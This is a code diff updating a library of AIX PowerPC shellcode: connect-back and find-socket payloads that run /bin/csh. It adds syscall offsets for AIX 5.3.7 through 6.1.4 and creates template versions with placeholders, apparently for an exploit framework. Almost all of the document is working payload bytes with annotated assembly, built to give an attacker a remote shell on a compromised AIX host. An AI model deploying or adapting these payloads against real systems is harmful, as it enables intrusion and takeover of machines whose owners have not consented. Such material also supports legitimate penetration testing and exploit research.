||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xdb" /* cal r2,-1829(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xdb" /* cal r2,-1829(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x3b\x7d\xfe\x03" /* cal r27,-509(r29) */
|
||||
"\x3b\x7d\xf8\x03" /* cal r27,-2045(r29) */
|
||||
"\x7f\x63\xdb\x78" /* mr r3,r27 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x5f" /* cal r2,-417(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf9\x17" /* cal r2,-1769(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x63" /* cal r2,-413(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x72" /* cal r2,-398(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x83" /* cal r2,-381(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\xa1" /* cal r2,-351(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7f\x65\xdb\x78" /* mr r5,r27 */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\x83\xe3\x78" /* mr r3,r28 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\xd7" /* cal r2,-297(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xfa\x93" /* cal r2,-1389(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\xe8" /* cal r2,-280(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xfa\x85" /* cal r2,-1403(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\xfd" /* cal r2,-259(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xfa\x7c" /* cal r2,-1412(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xff\x10" /* cal r2,-240(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xfa\x67" /* cal r2,-1433(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xff\x43" /* cal r2,-189(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xfa\x6a" /* cal r2,-1430(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x37\x7b\xff\xff" /* ai. r27,r27,-1 */
|
||||
|
@ -136,19 +190,36 @@ char cntsockcode[]= /* 204 bytes */
|
|||
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
|
||||
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
#if defined(V410) || defined(V433)
|
||||
"\x38\x5d\xfe\x04" /* cal r2,-508(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x03" /* cal r2,-509(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x05" /* cal r2,-507(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x06" /* cal r2,-506(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x20" /* bctr */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"/bin/csh"
|
||||
;
|
||||
|
||||
|
|
|
@ -0,0 +1,90 @@
|
|||
/*
|
||||
* aix-power-cntsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
#define CNTSOCKADDR 32
|
||||
#define CNTSOCKPORT 30
|
||||
|
||||
char cntsockcode[]= /* 200 bytes */
|
||||
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
|
||||
"\x40\x82\xff\xfd" /* bnel <cntsockcode> */
|
||||
"\x7f\xc8\x02\xa6" /* mflr r30 */
|
||||
"\x3b\xde\x01\xff" /* cal r30,511(r30) */
|
||||
"\x3b\xde\xfe\x25" /* cal r30,-475(r30) */
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x20" /* bctr */
|
||||
"\xff\x02\x04\xd2" /* .long 0xff0204d2 */
|
||||
"\x7f\x00\x00\x01" /* .long 0x7f000001 */
|
||||
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
|
||||
"\x44\xff\xff\x02" /* svca 0 */
|
||||
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
|
||||
"\x3b\xa0\x07\xff" /* lil r29,2047 */
|
||||
"\x38\x9d\xf8\x02" /* cal r4,-2046(r29) */
|
||||
"\x38\x7d\xf8\x03" /* cal r3,-2045(r29) */
|
||||
<%= @socket %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\x7c\x1b\x78" /* mr r28,r3 */
|
||||
"\x38\xbd\xf8\x11" /* cal r5,-2031(r29) */
|
||||
"\x38\x9e\xff\xf8" /* cal r4,-8(r30) */
|
||||
<%= @connect %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x3b\x7d\xf8\x03" /* cal r27,-2045(r29) */
|
||||
"\x7f\x63\xdb\x78" /* mr r3,r27 */
|
||||
<%= @close %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7f\x65\xdb\x78" /* mr r5,r27 */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\x83\xe3\x78" /* mr r3,r28 */
|
||||
<%= @kfcntl %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x37\x7b\xff\xff" /* ai. r27,r27,-1 */
|
||||
"\x40\x80\xff\xd4" /* bge <cntsockcode+100> */
|
||||
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
|
||||
"\x40\x82\xff\xfd" /* bnel <cntsockcode+148> */
|
||||
"\x7f\x08\x02\xa6" /* mflr r24 */
|
||||
"\x3b\x18\x01\xff" /* cal r24,511(r24) */
|
||||
"\x38\x78\xfe\x29" /* cal r3,-471(r24) */
|
||||
"\x98\xb8\xfe\x31" /* stb r5,-463(r24) */
|
||||
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
|
||||
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
<%= @execve %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"/bin/csh"
|
||||
;
|
||||
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: aix-power-fndsockcode.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power-fndsockcode.S - AIX Power Find socket code
|
||||
* aix-power-fndsockcode.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -21,15 +19,16 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -DAIXLEVEL -o aix-power-fndsockcode aix-power-fndsockcode.S
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* Where AIXLEVEL is one of the currently supported AIX levels.
|
||||
* -DV410 AIX 4.1.0
|
||||
* -DV420 AIX 4.2.0
|
||||
* -DV430 AIX 4.3.0
|
||||
* -DV433 AIX 4.3.3
|
||||
* -DV530 AIX 5.3.0
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
|
@ -59,7 +58,7 @@ fndsockcode:
|
|||
|
||||
stu %r31,-4(%r1)
|
||||
mr %r28,%r1
|
||||
cal %r27,-511+44(%r29)
|
||||
cal %r27,-__CAL+44(%r29)
|
||||
stu %r27,-4(%r1)
|
||||
mr %r27,%r1
|
||||
|
||||
|
@ -82,7 +81,7 @@ fndsockcode:
|
|||
|
||||
# close
|
||||
|
||||
cal %r25,-511+2(%r29)
|
||||
cal %r25,-__CAL+2(%r29)
|
||||
|
||||
1:
|
||||
mr %r3,%r25
|
||||
|
@ -103,7 +102,7 @@ fndsockcode:
|
|||
bge 1b
|
||||
|
||||
shellcode:
|
||||
# lil %r31,__CAL
|
||||
# lil %r29,__CAL
|
||||
xor. %r5,%r5,%r5
|
||||
bnel shellcode
|
||||
# mflr %r30
|
||||
|
@ -117,7 +116,6 @@ shellcode:
|
|||
stu %r5,-4(%r1)
|
||||
stu %r3,-4(%r1)
|
||||
mr %r4,%r1
|
||||
# cal %r2,__NC_execve(%r31)
|
||||
cal %r2,__NC_execve(%r29)
|
||||
# crorc %cr6,%cr6,%cr6
|
||||
# .long 0x44ffff02
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: aix-power-fndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power-fndsockcode.c - AIX Power Find socket code
|
||||
* aix-power-fndsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -21,12 +19,16 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
* Currently supported AIX levels.
|
||||
* -DV410 AIX 4.1.0
|
||||
* -DV420 AIX 4.2.0
|
||||
* -DV430 AIX 4.3.0
|
||||
* -DV433 AIX 4.3.3
|
||||
* -DV530 AIX 5.3.0
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
|
@ -43,10 +45,10 @@ char fndsockcode[]= /* 220 bytes */
|
|||
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
|
||||
"\x44\xff\xff\x02" /* svca 0 */
|
||||
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
|
||||
"\x3b\xa0\x01\xff" /* lil r29,511 */
|
||||
"\x3b\xa0\x07\xff" /* lil r29,2047 */
|
||||
"\x97\xe1\xff\xfc" /* stu r31,-4(r1) */
|
||||
"\x7c\x3c\x0b\x78" /* mr r28,r1 */
|
||||
"\x3b\x7d\xfe\x2d" /* cal r27,-467(r29) */
|
||||
"\x3b\x7d\xf8\x2d" /* cal r27,-2003(r29) */
|
||||
"\x97\x61\xff\xfc" /* stu r27,-4(r1) */
|
||||
"\x7c\x3b\x0b\x78" /* mr r27,r1 */
|
||||
"\x3b\xff\x01\xff" /* cal r31,511(r31) */
|
||||
|
@ -54,64 +56,103 @@ char fndsockcode[]= /* 220 bytes */
|
|||
"\x7f\x65\xdb\x78" /* mr r5,r27 */
|
||||
"\x7f\x84\xe3\x78" /* mr r4,r28 */
|
||||
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x44" /* cal r2,-444(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\xd4" /* cal r2,-1836(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x49" /* cal r2,-439(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\xce" /* cal r2,-1842(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x56" /* cal r2,-426(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\xce" /* cal r2,-1842(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x66" /* cal r2,-410(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\xcb" /* cal r2,-1845(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x7b" /* cal r2,-389(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\xcc" /* cal r2,-1844(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xc7" /* cal r2,-1849(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xc7" /* cal r2,-1849(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xc7" /* cal r2,-1849(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xc7" /* cal r2,-1849(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x3b\x5c\x01\xff" /* cal r26,511(r28) */
|
||||
"\xa3\x5a\xfe\x03" /* lhz r26,-509(r26) */
|
||||
"\x28\x1a\x04\xd2" /* cmpli 0,r26,1234 */
|
||||
"\x40\x82\xff\xd4" /* bne <fndsockcode+64> */
|
||||
"\x3b\x3d\xfe\x03" /* cal r25,-509(r29) */
|
||||
"\x3b\x3d\xf8\x03" /* cal r25,-2045(r29) */
|
||||
"\x7f\x23\xcb\x78" /* mr r3,r25 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x5f" /* cal r2,-417(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf9\x17" /* cal r2,-1769(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x63" /* cal r2,-413(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x72" /* cal r2,-398(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x83" /* cal r2,-381(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\xa1" /* cal r2,-351(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7f\x25\xcb\x78" /* mr r5,r25 */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\xd7" /* cal r2,-297(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xfa\x93" /* cal r2,-1389(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\xe8" /* cal r2,-280(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xfa\x85" /* cal r2,-1403(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\xfd" /* cal r2,-259(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xfa\x7c" /* cal r2,-1412(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xff\x10" /* cal r2,-240(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xfa\x67" /* cal r2,-1433(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xff\x43" /* cal r2,-189(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xfa\x6a" /* cal r2,-1430(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x37\x39\xff\xff" /* ai. r25,r25,-1 */
|
||||
|
@ -125,19 +166,36 @@ char fndsockcode[]= /* 220 bytes */
|
|||
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
|
||||
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
#if defined(V410) || defined(V433)
|
||||
"\x38\x5d\xfe\x04" /* cal r2,-508(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x03" /* cal r2,-509(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x05" /* cal r2,-507(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x06" /* cal r2,-506(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x20" /* bctr */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"/bin/csh"
|
||||
;
|
||||
|
||||
|
|
|
@ -0,0 +1,93 @@
|
|||
/*
|
||||
* aix-power-fndsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
#define FNDSOCKPORT 106
|
||||
|
||||
char fndsockcode[]= /* 220 bytes */
|
||||
"\x7f\xff\xfa\x79" /* xor. r31,r31,r31 */
|
||||
"\x40\x82\xff\xfd" /* bnel <fndsockcode> */
|
||||
"\x7f\xc8\x02\xa6" /* mflr r30 */
|
||||
"\x3b\xde\x01\xff" /* cal r30,511(r30) */
|
||||
"\x3b\xde\xfe\x1d" /* cal r30,-483(r30) */
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x20" /* bctr */
|
||||
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
|
||||
"\x44\xff\xff\x02" /* svca 0 */
|
||||
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
|
||||
"\x3b\xa0\x07\xff" /* lil r29,2047 */
|
||||
"\x97\xe1\xff\xfc" /* stu r31,-4(r1) */
|
||||
"\x7c\x3c\x0b\x78" /* mr r28,r1 */
|
||||
"\x3b\x7d\xf8\x2d" /* cal r27,-2003(r29) */
|
||||
"\x97\x61\xff\xfc" /* stu r27,-4(r1) */
|
||||
"\x7c\x3b\x0b\x78" /* mr r27,r1 */
|
||||
"\x3b\xff\x01\xff" /* cal r31,511(r31) */
|
||||
"\x3b\xff\xfe\x02" /* cal r31,-510(r31) */
|
||||
"\x7f\x65\xdb\x78" /* mr r5,r27 */
|
||||
"\x7f\x84\xe3\x78" /* mr r4,r28 */
|
||||
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
|
||||
<%= @getpeername %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x3b\x5c\x01\xff" /* cal r26,511(r28) */
|
||||
"\xa3\x5a\xfe\x03" /* lhz r26,-509(r26) */
|
||||
"\x28\x1a\x04\xd2" /* cmpli 0,r26,1234 */
|
||||
"\x40\x82\xff\xd4" /* bne <fndsockcode+64> */
|
||||
"\x3b\x3d\xf8\x03" /* cal r25,-2045(r29) */
|
||||
"\x7f\x23\xcb\x78" /* mr r3,r25 */
|
||||
<%= @close %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7f\x25\xcb\x78" /* mr r5,r25 */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
|
||||
<%= @kfcntl %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x37\x39\xff\xff" /* ai. r25,r25,-1 */
|
||||
"\x40\x80\xff\xd4" /* bge <fndsockcode+116> */
|
||||
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
|
||||
"\x40\x82\xff\xfd" /* bnel <fndsockcode+164> */
|
||||
"\x7f\x08\x02\xa6" /* mflr r24 */
|
||||
"\x3b\x18\x01\xff" /* cal r24,511(r24) */
|
||||
"\x38\x78\xfe\x29" /* cal r3,-471(r24) */
|
||||
"\x98\xb8\xfe\x31" /* stb r5,-463(r24) */
|
||||
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
|
||||
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
<%= @execve %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"/bin/csh"
|
||||
;
|
||||
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: aix-power-shellcode.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power-shellcode.S - AIX Power shellcode
|
||||
* aix-power-shellcode.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -21,15 +19,16 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -DAIXLEVEL -o aix-power-shellcode aix-power-shellcode.S
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* Where AIXLEVEL is one of the currently supported AIX levels.
|
||||
* -DV410 AIX 4.1.0
|
||||
* -DV420 AIX 4.2.0
|
||||
* -DV430 AIX 4.3.0
|
||||
* -DV433 AIX 4.3.3
|
||||
